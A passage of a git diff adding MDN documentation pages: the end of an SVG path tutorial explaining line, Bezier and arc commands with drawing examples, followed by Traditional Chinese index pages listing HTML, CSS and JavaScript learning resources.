+<p>In the following example we only have a point at (10,10). Note, though, that it wouldn't show up if you were just drawing the path normally. For example:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/45/=Blank_Path_Area.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10"/&gt;
+
+  &lt;!-- Points --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>There are three commands that draw lines. The most generic is the "Line To" command, <code>called with L</code>. <code>L</code> takes two parameters—x and y coordinates—and draws a line from the current position to a new position.</p>
+
+<pre> L x y (or l dx dy)
+</pre>
+
+<p>There are two abbreviated forms for drawing horizontal and vertical lines. <code>H</code> draws a horizontal line, and <code>V</code> draws a vertical line. Both commands only take one argument since they only move in one direction.</p>
+
+<pre> H x (or h dx)
+ V y (or v dy)
+</pre>
+
+<p>An easy place to start is by drawing a shape. We will start with a rectangle (the same type that could be more easily made with a <code>&lt;rect&gt;</code> element). It's composed of horizontal and vertical lines <span style="line-height: 1.5;">only</span><span style="line-height: 1.5;">:</span></p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10 H 90 V 90 H 10 L 10 10"/&gt;
+
+  &lt;!-- Points --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="90" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="10" cy="90" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>We can shorten the above path declaration a little bit by using the "Close Path" command, called with <code>Z</code>. This command draws a straight line from the current position back to the first point of the path. It is often placed at the end of a path node, although not always. There is no difference between the uppercase and lowercase command.</p>
+
+<pre> Z (or z)
+</pre>
+
+<p>So our path above could be shortened to:</p>
+
+<pre class="brush: xml"> &lt;path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>You can also use the relative form of these commands to draw the same picture. Relative commands are called by using lowercase letters, and rather than moving the cursor to an exact coordinate, they move it relative to its last position. For instance, since our box is 80 x 80, the path element could have been written:</p>
+
+<pre class="brush: xml"> &lt;path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>The path will move to point (10,10) and then move horizontally 80 points to the right, then 80 points down, then 80 points to the left, and then back to the start.</p>
+
+<p>In these examples, it would probably be simpler to use the &lt;polygon&gt; or &lt;polyline&gt; elements. However, paths are used so often in drawing SVG that developers may be more comfortable using them instead. There is no real performance penalty or bonus for using one or the other.</p>
+
+<h2 id="Curve_commands">Curve commands</h2>
+
+<p>There are three different commands that you can use to create smooth curves. Two of those curves are Bezier curves, and the third is an "arc" or part of a circle. You might have already gained practical experience with Bezier curves using path tools in Inkscape, Illustrator or Photoshop. For a complete description of the math behind Bezier curves, go to a reference like the one on <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. There are an infinite number of Bezier curves, but only two simple ones are available in path elements: a cubic one, called with C, and a quadratic one, called with Q.</p>
+
+<h3 id="Bezier_Curves">Bezier Curves</h3>
+
+<p>The cubic curve, C, is the slightly more complex curve. Cubic Beziers take in two control points for each point. Therefore, to create a cubic Bezier, you need to specify three sets of coordinates.</p>
+
+<pre> C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
+</pre>
+
+<p>The last set of coordinates here (x,y) are where you want the line to end. The other two are control points. (x1,y1) is the control point for the start of your curve, and (x2,y2) is the control point for the end. The control points essentially describe the slope of your line starting at each point. The Bezier function then creates a smooth curve that transfers you from the slope you established at the beginning of your line, to the slope at the other end.</p>
+
+<p><img alt="Cubic Bézier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="syntaxbox">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10 C 20 20, 40 20, 50 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 10 C 70 20, 120 20, 120 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 10 C 120 20, 180 20, 170 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 60 C 20 80, 40 80, 50 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 60 C 70 80, 110 80, 110 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 60 C 120 80, 180 80, 170 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 110 C 20 140, 40 140, 50 110" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 110 C 70 140, 110 140, 110 110" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 110 C 120 140, 180 140, 170 110" stroke="black" fill="transparent"/&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>The example above creates nine Cubic Bezier curves. As the curves move toward the right, the control points become spread out horizontally. As the curves move downward, they become further separated from the end points. The thing to note here is that the curve starts in the direction of the first control point, and then bends so that it arrives along the direction of the second control point.</p>
+
+<p>You can string together several Bezier curves to create extended, smooth shapes. Often, the control point on one side of a point will be a reflection of the control point used on the other side to keep the slope constant. In this case, you can use a shortcut version of the cubic Bezier, designated by the command <code>S</code> (or <code>s</code>).</p>
+
+<pre> S x2 y2, x y (or s dx2 dy2, dx dy)
+</pre>
+
+<p><code>S</code> produces the same type of curve as earlier, but if it follows another <code>S</code> command or a <code>C</code> command, the first control point is assumed to be a reflection of the one used previously. If the <code>S</code> command doesn't follow another <code>S</code> or <code>C</code> command, then the current position of the cursor is used as the first control point. In this case the result is the same as what the <code>Q</code> command would have produced with the same parameters. An example of this syntax is shown below, and in the figure to the left the specified control points are shown in red, and the inferred control point in blue.</p>
+
+<p><img alt="ShortCut_Cubic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10405/ShortCut_Cubic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 C 40 10, 65 10, 95 80 S 150 150, 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>The other type of Bezier curve, the quadratic curve called with Q, is actually a simpler curve than the cubic one. It requires one control point which determines the slope of the curve at both the start point and the end point. It takes two arguments: the control point and the end point of the curve. Note that the co-ordinate deltas for <code>q</code> are both relative to the previous point (that is, <code>dx</code> and <code>dy</code> are not relative to <code>dx1</code> and <code>dy1</code>).</p>
+
+<pre> Q x1 y1, x y (or q dx1 dy1, dx dy)
+</pre>
+
+<p><img alt="Quadratic Bézier with grid" class="internal" src="https://mdn.mozillademos.org/files/10403/Quadratic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 95 10 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>As with the cubic Bezier curve, there is a shortcut for stringing together multiple quadratic Beziers, called with T.</p>
+
+<pre> T x y (or t dx dy)
+</pre>
+
+<p>This shortcut looks at the previous control point you used and infers a new one from it. This means that after your first control point, you can make fairly complex shapes by specifying only end points.</p>
+
+<div class="note">
+<p>This only works if the previous command was a Q or a T command. If it is not, then the control point is assumed to be the same as the previous point, and you'll only draw lines.</p>
+</div>
+
+<p><img alt="Shortcut_Quadratic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10407/Shortcut_Quadratic_Bezier_with_grid.png" style="float: right; height: 158px; width: 188px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 52.5 10, 95 80 T 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Both curves produce similar results, although the cubic allows you greater freedom in exactly what your curve looks like. Deciding which curve to use is situational and depends on the amount of symmetry your line has.</p>
+
+<h3 id="Arcs" name="Arcs">Arcs</h3>
+
+<p>The other type of curved line you can create using SVG is the arc, called with A. Arcs are sections of circles or ellipses. For a given x-radius and y-radius, there are two ellipses that can connect any two points (as long as they're within the radius of the circle). Along either of those circles there are two possible paths that you can take to connect the points, so in any situation there are four possible arcs available. Because of that, arcs have to take in quite a few arguments:</p>
+
+<pre> A rx ry x-axis-rotation large-arc-flag sweep-flag x y
+ a rx ry x-axis-rotation large-arc-flag sweep-flag dx dy
+</pre>
+
+<p>At its start, the arc element takes in two arguments for the x-radius and y-radius. If you need to, look up <a href="/en-US/Web/SVG/Element/ellipse">ellipses</a> to see how they behave. The final two arguments designate the x and y coordinates to end the stroke. Together, these four values define the basic structure of the arc.</p>
+
+<p>The third parameter describes the rotation of the arc. This is best explained with an example:</p>
+
+<p><img alt="SVGArcs_XAxisRotation_with_grid" class="internal" src="https://mdn.mozillademos.org/files/10409/SVGArcs_XAxisRotation_with_grid.png" style="float: right; height: 201px; width: 200px;"></p>
+
+<pre class="brush: xml">&lt;svg width="320" height="320" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 315
+           L 110 215
+           A 30 50 0 0 1 162.55 162.45
+           L 172.55 152.45
+           A 30 50 -45 0 1 215.1 109.9
+           L 315 10" stroke="black" fill="green" stroke-width="2" fill-opacity="0.5"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>The example shows a path element that goes diagonally across the page. At its center, two elliptical arcs have been cut out (x radius = 30, y radius = 50). In the first one, the x-axis-rotation has been left at 0, so the ellipse that the arc travels around (shown in gray) is oriented straight up and down. For the second arc, though, the x-axis-rotation is set to -45 degrees. This rotates the ellipse so that it is aligned with its minor axis along the path direction, as shown by the second ellipse in the example image.</p>
+
+<p>For the unrotated ellipse in the image above, there are only two different arcs and not four to choose from because the line drawn from the start and end of the arc goes through the center of the ellipse. In a slightly modified example you can see the two ellipses that form the four different arcs:</p>
+
+<p><img alt="Show the 4 arcs on the Ellipse example" src="https://mdn.mozillademos.org/files/15822/SVGArcs_XAxisRotation_with_grid_ellipses.png" style="height: 320px; width: 320px;"></p>
+
+<pre>&lt;svg xmlns="http://www.w3.org/2000/svg" width="320" height="320"&gt;
+  &lt;path d="M10 315
+           L 110 215
+           A 36 60 0 0 1 150.71 170.29
+           L 172.55 152.45
+           A 30 50 -45 0 1 215.1 109.9
+           L 315 10" stroke="black" fill="green" stroke-width="2" fill-opacity="0.5"/&gt;
+  &lt;circle cx="150.71" cy="170.29" r="2" fill="red"/&gt;
+  &lt;circle cx="110" cy="215" r="2" fill="red"/&gt;
+  &lt;ellipse cx="144.931" cy="229.512" rx="36" ry="60" fill="transparent" stroke="blue"/&gt;
+  &lt;ellipse cx="115.779" cy="155.778" rx="36" ry="60" fill="transparent" stroke="blue"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Notice that each of the blue ellipses are formed by two arcs, depending if you travel clockwise or counter-clockwise. Each ellipse has one short arc and one long arc. The two ellipses are just mirror images of each other. They are flipped along the line formed from the start-&gt;end points.</p>
+
+<p>If the start-&gt;end points are farther than the ellipse's x and y radius can reach, the ellipse's radii will be minimally expanded so it could reach the start-&gt;end points. The interactive codepen at the bottom of this page demonstrates this well. To determine if your ellipse's radii is large enough to require expanding, you would need to solve a system of equations such as <a href="https://www.wolframalpha.com/input/?i=solve+((110+-+x)%5E2%2F36%5E2)+%2B+((215+-+y)%5E2%2F60%5E2)+%3D+1,+((150.71+-+x)%5E2%2F36%5E2)+%2B+((170.29+-+y)%5E2%2F60%5E2)+%3D+1">this on wolfram alpha</a>. This computation is for the non-rotated ellipse with start-&gt;end (110, 215)-&gt;(150.71, 170.29). The solution, (x, y), is the center of the ellipse(s). The solution will be <a href="https://www.wolframalpha.com/input/?i=solve+((110+-+x)%5E2%2F30%5E2)+%2B+((215+-+y)%5E2%2F50%5E2)+%3D+1,+((162.55+-+x)%5E2%2F30%5E2)+%2B+((162.45+-+y)%5E2%2F50%5E2)+%3D+1">imaginary</a> if your ellipse radii is too small. This second computation is for the non-rotated ellipse with start-&gt;end (110, 215)-&gt;(162.55, 162.45). The solution has a small imaginary component because the ellipse was just barely expanded.</p>
+
+<p>The four different paths mentioned above are determined by the next two argument flags. As mentioned earlier, there are still two possible ellipses for the path to travel around and two different possible paths on both ellipses, giving four possible paths. The first argument is the large-arc-flag. It simply determines if the arc should be greater than or less than 180 degrees; in the end, this flag determines which direction the arc will travel around a given circle. The second argument is the sweep-flag. It determines if the arc should begin moving at positive angles or negative ones, which essentially picks which of the two circles you will travel around. The example below shows all four possible combinations, along with the two circles for each case.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/345/=SVGArcs_Flags.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="325" height="325" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M80 80
+           A 45 45, 0, 0, 0, 125 125
+           L 125 80 Z" fill="green"/&gt;
+  &lt;path d="M230 80
+           A 45 45, 0, 1, 0, 275 125
+           L 275 80 Z" fill="red"/&gt;
+  &lt;path d="M80 230
+           A 45 45, 0, 0, 1, 125 275
+           L 125 230 Z" fill="purple"/&gt;
+  &lt;path d="M230 230
+           A 45 45, 0, 1, 1, 275 275
+           L 275 230 Z" fill="blue"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Arcs are an easy way to create pieces of circles or ellipses in your drawings. For instance, a pie chart would require a different arc for each piece.</p>
+
+<p>If you're transitioning to SVG from <a href="/en/HTML/Canvas">Canvas</a>, arcs can be the hardest thing to learn, but are also much more powerful. Complete circles and ellipses are actually the only shapes that SVG arcs have trouble drawing. Because the start and end points for any path going around a circle are the same point, there are an infinite number of circles that could be chosen, and the actual path is undefined. It's possible to approximate them by making the start and end points of your path slightly askew, and then connecting them with another path segment. For example, you can make a circle with an arc for each semicircle. At that point, it's often easier to use a real circle or ellipse node instead. This interactive demo might help you understand the concepts behind SVG arcs: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (tested in chrome and firefox only, might not work in your browser)</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
diff --git a/files/zh-tw/web/svg/教學/index.html b/files/zh-tw/web/svg/教學/index.html
new file mode 100644
index 0000000000..5521386506
--- /dev/null
+++ b/files/zh-tw/web/svg/教學/index.html
@@ -0,0 +1,13 @@
+---
+title: 教學
+slug: Web/SVG/教學
+---
+<p> </p>
+<p><br>
+本教學解說 <a href="/zh_tw/SVG" title="zh tw/SVG">SVG</a>（Scalable Vector Graphics）的 1.1 版本，是一種 W3C XML 的衍伸語言，且已部分實裝於 Firefox 1.5、Opera 8.5 還有其他的瀏覽器。</p>
+<p>本教學仍處於<strong>非常</strong>早期的階段。如果可能的話，請幫忙彙整並寫成一、兩個段落。為本教學增添內容！</p>
+<h5 id="Introduction" name="Introduction">簡介</h5>
+<ul> <li><a href="/zh_tw/SVG/教學/簡介" title="zh tw/SVG/教學/簡介">簡介</a></li> <li><a href="/zh_tw/SVG/教學/起步" title="zh_tw/SVG/教學/起步">起步</a></li> <li>在此增加其他內容</li> <li><a href="/zh_tw/SVG/教學/其他教學" title="zh_tw/SVG/教學/其他教學">其他教學</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/SVG/Tutorial", "fr": "fr/SVG/Tutoriel", "ja": "ja/SVG/Tutorial", "pl": "pl/SVG/Przewodnik" } ) }}</p>
diff --git a/files/zh-tw/web/tutorials/index.html b/files/zh-tw/web/tutorials/index.html
new file mode 100644
index 0000000000..1a3a1ea774
--- /dev/null
+++ b/files/zh-tw/web/tutorials/index.html
@@ -0,0 +1,247 @@
+---
+title: 教學
+slug: Web/Tutorials
+tags:
+  - Beginner
+  - CSS
+  - Guide
+  - HTML
+  - JavaScript
+  - Tutorial
+translation_of: Web/Tutorials
+---
+<p>這個頁面提供了許多關於網路相關技術的說明及學習文件。無論你是正在打基礎的新手或有經驗的老手，相信在這個頁面你都能找到許多有用的資源。這些開發資源是由具有前瞻思維的公司及擁抱開放標準的開發者所提供，允許任何人翻譯它並以 Creative Commons 的條款釋出。</p>
+
+<h2 id="Web_完全新手">Web 完全新手</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/Getting_started_with_the_web">Web 新手上路</a></dt>
+ <dd>本系列文章簡介 web 開發 (web development) 是怎麼一回事。你將會設置所需要的工具、製作一個簡易的網頁，然後發表你的程式碼。</dd>
+</dl>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">HTML 教學</h2>
+
+<h3 id="初級">初級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Introduction_to_HTML">HTML入門</a></dt>
+ <dd>此單元，為了孰悉重要的概念和語法，思考將 HTML 轉為文字, 如何建立超連鏈接, 以及如何使用 HTML 架構建立網站做好準備。</dd>
+ <dt><strong><a href="https://developer.mozilla.org/zh-TW/docs/HTML/Element">MDN HTML 元素引用</a></strong></dt>
+ <dd>HTML 元素綜合參考。以及在不同瀏覽器的支援程度。</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><strong><a href="https://www.theblogstarter.com/html-for-beginners">使用 HTML 建立一個簡易網站</a> (The Blog Starter)</strong></dt>
+ <dd>適用於 HTML 初學者的指南，其中包含常見的標籤( tag ), 其中包括利用編碼範例步驟，一步步指導建立一個基本網頁。</dd>
+ <dt><strong><a href="http://bit.ly/2z9xSS2">初學者 HTML 指南</a> (Website Setup)</strong></dt>
+ <dd>此指南將指導你如何使用 HTML 和 HTML5 標籤 (tags) 建立基礎網站。 簡易的步驟教學，以及包含可用於提升編碼技巧的圖像和資源。</dd>
+ <dt><strong><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">HTML 挑戰 </a> (Wikiversity)</strong></dt>
+ <dd>使用這些挑戰來磨練你的 HTML 技能 (例如 :  "Should I use an &lt;h2&gt; element or a &lt;strong&gt; element?"), 注意這些含有意義的標籤。</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="中級">中級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Multimedia_and_embedding">多媒體及崁入</a></dt>
+ <dd>此單元探討包含如何使用 HTML 崁入多媒體於網頁之中，包括使用不同方式讓崁入圖片，影片，聲音檔，甚至是其他整個網頁。</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt></dt>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Tables">HTML 表格</a></dt>
+ <dd>將資料以可理解的方式使用表格呈現在網頁上 {{glossary("Accessibility", "accessible")}} 方法可能是一個挑戰。本文涵蓋基礎的表格標記，以及更複雜的功能，例如實現說明標題及概述。</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="高級">高級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Forms">HTML 表單</a></dt>
+ <dd>表單是網際網路一個非常重要的部分 - 這些涵蓋了網站互動所需的大部分功能，例如 : 註冊、登入、發送回饋，購買產品等。本文將幫助你開始創建客戶回饋表單。</dd>
+ <dt><strong><a href="https://developer.mozilla.org/zh-TW/docs/Tips_for_Authoring_Fast-loading_HTML_Pages"> 給程式創作者快速載入 HTML 網頁的提示 </a></strong></dt>
+ <dd>優化網頁，為使用者提供響應式網站，減少 web 服務器和 Internet 連線的負擔。</dd>
+</dl>
+</div>
+</div>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">CSS 教學</h2>
+
+<h3 id="初級_2">初級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基本概念</a></dt>
+ <dd>CSS（層疊樣式表）是用於設置網頁樣式的編碼。 CSS Basics將帶領你了解入門所需的內容。 我們將回答以下問題，例如：如何將文字設為黑色或紅色？ 如何讓我的內容顯示在螢幕上的這些地方？ 如何用背景圖片和顏色布置我的網頁？</dd>
+ <dt><a href="/zh-TW/docs/Learn/CSS/Introduction_to_CSS"> 介紹 CSS</a></dt>
+ <dd>本單元深入介紹CSS應用，包括選擇器和屬性，編寫CSS規則，將CSS應用於HTML，如何指定CSS中的長度，顏色和其他單位，並列和繼承，框框模組基本知識和CSS除錯。</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/CSS/Styling_boxes">樣式框</a></dt>
+ <dd>接下來，我們來看看樣式框，這是建立網頁的基本步驟之一。 在本單元中，我們回顧一下框框模組，通過設置邊框和邊距，自定義背景顏色，圖像和其它以及酷炫的功能（如陰影和框上的濾鏡）來查看樣式框佈局。</dd>
+ <dt><a href="/zh-TW/docs/Learn/CSS/Styling_text">樣式文本</a></dt>
+ <dd>在此，我們看看文本樣式基礎，包括設置字體，粗體和斜體，線條和字母間距以及陰影和其他文本功能。 我們通過查看將自定義字體應用於頁面以及樣式列表和鏈接來完善模組。</dd>
+ <dt><strong><a href="https://developer.mozilla.org/zh-TW/docs/Common_CSS_Questions">常見的CSS問題</a></strong></dt>
+ <dd>初學者的常見問題及解答。</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="中級_2">中級</h3>
+
+<div class="row topicpage-table" style="width: 100%;">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/CSS/CSS_layout">CSS 布局</a></dt>
+ <dd>此時，我們已看過CSS基礎知識，如何設置文本樣式，以及如何設置和操作內容所在的框框。 現在是時候看看如何將框框放在彼此之間相對位置上的正確位置。 我們已經涵蓋了必要的先決條件，因此現在可以深入了解CSS佈局，查看不同的顯示設置，包含浮動和定位的傳統佈局方法，以及Flexbox等新的佈局工具。</dd>
+ <dt><strong><a href="https://developer.mozilla.org/zh-TW/docs/CSS/CSS_Reference">CSS 參考</a></strong></dt>
+ <dd>完整參考CSS，詳細介紹Firefox和其他瀏覽器的支援度。</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><strong><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">流變格線框架</a> (A List Apart)</strong></dt>
+ <dd>在瀏流器視窗大小調整的同時，能夠流暢地調整內容大小的設計佈局，同時使用字體排版格線。</dd>
+ <dt><strong><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS 挑戰</a> (Wikiversity)</strong></dt>
+ <dd>提高你的CSS技能，並了解需多加練習的地方。</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="高級_2">高級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><strong><a href="/zh-TW/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">Using CSS transforms</a></strong></dt>
+ <dd>Apply rotation, skewing, scaling, and translation using CSS.</dd>
+ <dt><strong><a href="https://developer.mozilla.org/zh-TW/docs/CSS/CSS_transitions">CSS transitions</a></strong></dt>
+ <dd>CSS transitions, part of the draft CSS3 specification, provide a way to animate changes to CSS properties, instead of having the changes take effect instantly.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><strong><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">Quick Guide to Implement Web Fonts with @font-face</a> (HTML5 Rocks)</strong></dt>
+ <dd>The @font-face feature from CSS3 allows you to use custom typefaces on the web in an accessible, manipulatable, and scalable way.</dd>
+ <dt><strong><a href="http://davidwalsh.name/starting-css" rel="external">Starting to Write CSS</a> (David Walsh)</strong></dt>
+ <dd>An introduction to tools and methodologies to write more succinct, maintainable, and scalable CSS.</dd>
+</dl>
+</div>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></dt>
+ <dd>Learn how to draw graphics using scripting using the canvas element.</dd>
+ <dt><strong><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></strong></dt>
+ <dd>Articles about using HTML5 right now.</dd>
+</dl>
+</div>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">JavaScript 教學</h2>
+
+<h3 id="初級_3">初級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt></dt>
+ <dt><a href="/zh-TW/docs/Learn/JavaScript/First_steps">JavaScript first steps</a></dt>
+ <dd>In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key JavaScript features in detail, such as variables, strings, numbers and arrays.</dd>
+ <dt><a href="/zh-TW/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a></dt>
+ <dd>In this module, we continue our coverage of all JavaScript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events. You've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Getting started with JavaScript</a></dt>
+ <dd>What is JavaScript and how can it help you?</dd>
+ <dt><strong><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</strong></dt>
+ <dd>Codecademy is a easy way to learn how to code JavaScript. It's interactive and you can do it with your friends.</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="中級_3">中級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/JavaScript/Objects">Introducing JavaScript objects</a></dt>
+ <dd>In JavaScript, most things are objects, from core JavaScript features like strings and arrays to the browser APIs built on top of JavaScript. You can even create your own objects to encapsulate related functions and variables into efficient packages. The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, look at how to create your own objects, and explain what JSON data is and how to work with it.</dd>
+ <dt><a href="/zh-TW/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs</a></dt>
+ <dd>When writing client-side JavaScript for web sites or applications, you won't go very far before you start to use APIs — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. In this module we will explore what APIs are, and how to use some of the most common APIs you'll come across often in your development work.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><strong><a href="https://developer.mozilla.org/zh-TW/docs/A_re-introduction_to_JavaScript">A re-Introduction to JavaScript</a></strong></dt>
+ <dd>A recap of the JavaScript programming language aimed at intermediate-level developers.</dd>
+ <dt><strong><a href="http://eloquentjavascript.net/" rel="external">Eloquent JavaScript</a></strong></dt>
+ <dd>A comprehensive guide to intermediate and advanced JavaScript methodologies.</dd>
+ <dt><strong><a href="http://speakingjs.com/es5/" rel="external">Speaking JavaScript</a> (Dr. Axel Rauschmayer)</strong></dt>
+ <dd>For programmers who want to learn JavaScript quickly and properly, and for JavaScript programmers who want to deepen their skills and/or look up specific topics.</dd>
+ <dt><strong><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</strong></dt>
+ <dd>An introduction to essential JavaScript design patterns.</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="高級_3">高級</h3>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Guide">JavaScript Guide</a></dt>
+ <dd>A comprehensive, regularly updated guide to JavaScript for all levels of learning from beginner to advanced.</dd>
+ <dt><strong><a href="https://github.com/getify/You-Dont-Know-JS" rel="external">You Don't Know JS</a> (Kyle Simpson)</strong></dt>
+ <dd>A series of books diving deep into the core mechanisms of the JavaScript language.</dd>
+ <dt><strong><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></strong></dt>
+ <dd>Documentation of the most quirky parts of JavaScript.</dd>
+ <dt><strong><a href="http://exploringjs.com/es6/" rel="external">Exploring ES6</a> (Dr. Axel Rauschmayer)</strong></dt>
+ <dd>Reliable and in-depth information on ECMAScript 2015.</dd>
+</dl>
+</div>
+
+<div class="section"><strong><a href="http://shichuan.github.io/javascript-patterns" rel="external">Javascipt Patterns</a></strong>
+
+<dl>
+ <dd>A JavaScript pattern and antipattern collection that covers function patterns, jQuery patterns, jQuery plugin patterns, design patterns, general patterns, literals and constructor patterns, object creation patterns, code reuse patterns, DOM.</dd>
+ <dt><strong><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How browsers work</a></strong></dt>
+ <dd>A detailed research article describing different modern browsers, their engines, page rendering etc.</dd>
+ <dt><a href="https://github.com/bolshchikov/js-must-watch">JavaScript Videos</a> (GitHub)</dt>
+ <dd>A collection of JavaScript videos to watch.</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="Extension_Development">Extension Development</h3>
+
+<div class="row topicpage-table" style="width: 100%;">
+<div class="section">
+<dl>
+ <dt><a href="/zh-TW/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a></dt>
